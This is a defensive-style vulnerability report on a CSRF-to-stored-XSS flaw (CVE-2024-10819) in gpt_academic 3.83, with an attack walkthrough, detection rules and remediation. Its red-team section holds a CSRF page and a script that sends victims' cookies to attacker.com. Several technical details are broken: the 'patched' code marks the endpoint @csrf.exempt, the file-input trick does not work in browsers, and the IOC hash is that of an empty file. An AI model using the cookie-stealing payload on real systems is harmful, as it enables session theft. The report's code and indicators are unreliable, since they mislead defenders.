CVE-2024-10819

Executive Summary

CVE-2024-10819 is a Cross-Site Request Forgery (CSRF) vulnerability in binary-husky/gpt_academic version 3.83. The flaw allows an attacker to trick an authenticated user into unknowingly uploading files, which can then be used to inject stored Cross-Site Scripting (XSS) payloads. This chain of attacks can lead to session hijacking, data theft, and unauthorized actions performed on behalf of the victim. The vulnerability is currently unpatched, and no official fix has been released.

Supply Chain & Package Security

This vulnerability affects the Python-based project gpt_academic, which is distributed via GitHub and potentially through PyPI. Users who install this package via pip or clone the repository are at risk. The lack of CSRF protection in the file upload endpoint means that any authenticated user can be exploited by a malicious site or link. Organizations using this tool in internal or external environments should treat it as a high-risk component until a patch is applied.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Stored XSS can exfiltrate sensitive data.
• Integrity (I): High (H) – Unauthorized file uploads can modify system state.
• Availability (A): Low (L) – Potential for denial of service via resource exhaustion.

CVSS Score: 7.1 (High)

Threat Level: High – The attack is easy to execute and can lead to full compromise of the victim's session.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of gpt_academic. The application does not implement CSRF tokens or any origin/Referer validation on the upload endpoint. This allows an attacker to craft a malicious HTML page that, when visited by an authenticated user, automatically submits a file upload request using the victim's session cookies.

The uploaded file can contain JavaScript code (e.g., an HTML file with embedded script). Once stored on the server, the malicious script executes in the context of any user who views the uploaded content, leading to stored XSS. The attacker can then steal cookies, session tokens, or perform actions such as creating new admin accounts or exfiltrating conversation logs.

Attack Flow:

1. Victim logs into gpt_academic and has an active session.
2. Attacker sends a phishing link or hosts a malicious page.
3. Victim visits the page, which triggers a CSRF request to the upload endpoint.
4. The server accepts the file (e.g., malicious.html) without validation.
5. Victim or other users view the uploaded file, triggering the XSS payload.
6. Attacker steals session data or performs actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.83): The file upload endpoint likely lacks CSRF protection. Example vulnerable pattern:

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    # No CSRF token check
    filename = secure_filename(file.filename)
    file.save(os.path.join(UPLOAD_FOLDER, filename))
    return 'File uploaded'

Patched Code (hypothetical): A patched version would include CSRF token validation and possibly origin checking:

from flask_wtf.csrf import CSRFProtect

@app.route('/upload', methods=['POST'])
@csrf.exempt  # Not recommended; instead use CSRF token
def upload_file():
    # Validate CSRF token
    if not validate_csrf(request.form.get('csrf_token')):
        abort(403)
    file = request.files['file']
    # Additional validation: check file type, scan for scripts
    if not allowed_file(file.filename):
        abort(400)
    filename = secure_filename(file.filename)
    file.save(os.path.join(UPLOAD_FOLDER, filename))
    return 'File uploaded'

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running instance of gpt_academic version 3.83.
• An authenticated user session (victim).

Step 1: Craft the CSRF Payload Create an HTML file that automatically submits a file upload request:

<html>
<body>
<form action="http://target.com/upload" method="POST" enctype="multipart/form-data" id="csrf-form">
  <input type="file" name="file" id="file-input" value="malicious.html">
</form>
<script>
  // Automatically submit the form
  document.getElementById('csrf-form').submit();
</script>
</body>
</html>

Step 2: Host the Malicious File Host the above HTML on an attacker-controlled server or use a data URI.

Step 3: Lure the Victim Send the victim a link to the malicious page. When they click, the CSRF request is sent using their session.

Step 4: Stored XSS Payload The uploaded file (malicious.html) contains:

<script>
  fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Step 5: Exfiltrate Data When any user views the uploaded file, the script executes and sends cookies to the attacker.

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected file uploads from authenticated users.
• Look for anomalous Referer headers or missing CSRF tokens.
• Use web application firewalls (WAF) to block requests without proper origin.

Prevention:

• Implement CSRF tokens on all state-changing endpoints.
• Validate file types and scan uploaded content for scripts.
• Set SameSite cookie attribute to Lax or Strict.
• Use Content Security Policy (CSP) to restrict script execution.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.html: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • POST requests to /upload endpoint without CSRF token.
  • Referer header pointing to attacker-controlled domains.
• Behavioral Indicators:
  • Unusual file types uploaded (e.g., .html, .svg, .js).
  • Multiple uploads from the same user in a short time.

Detection Engineering

YARA Rule

rule CVE_2024_10819_CSRF_Upload {
    meta:
        description = "Detects CSRF-based file upload attempts targeting gpt_academic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10819"
    strings:
        $csrf_form = /<form[^>]*action=["']http:\/\/[^"']*\/upload["'][^>]*>/ nocase
        $file_input = /<input[^>]*type=["']file["'][^>]*>/ nocase
        $auto_submit = /document\.getElementById\(['"]csrf-form['"]\)\.submit\(\)/ nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-10819 CSRF File Upload Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /upload endpoint without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/upload'
    filter:
        cs-uri-query: 'csrf_token=*'
    condition: selection and not filter
falsepositives:
    - Legitimate uploads with CSRF token
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10819 CSRF File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/upload"; http.request_body; content:"filename="; pcre:"/Content-Disposition:\s*form-data;\s*name=\"file\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file upload functionality if not essential.
2. Implement CSRF tokens using Flask-WTF or similar library.
3. Validate file types – only allow safe extensions (e.g., .txt, .pdf).
4. Scan uploaded files for malicious content using antivirus or sandboxing.

Long-Term Fix:

• Upgrade to a patched version once released.
• Add SameSite=Strict to session cookies.
• Use Content Security Policy (CSP) to block inline scripts.
• Conduct a security audit of all endpoints.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block requests to /upload without a valid Referer header.

Valters IT signature: This report is generated for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.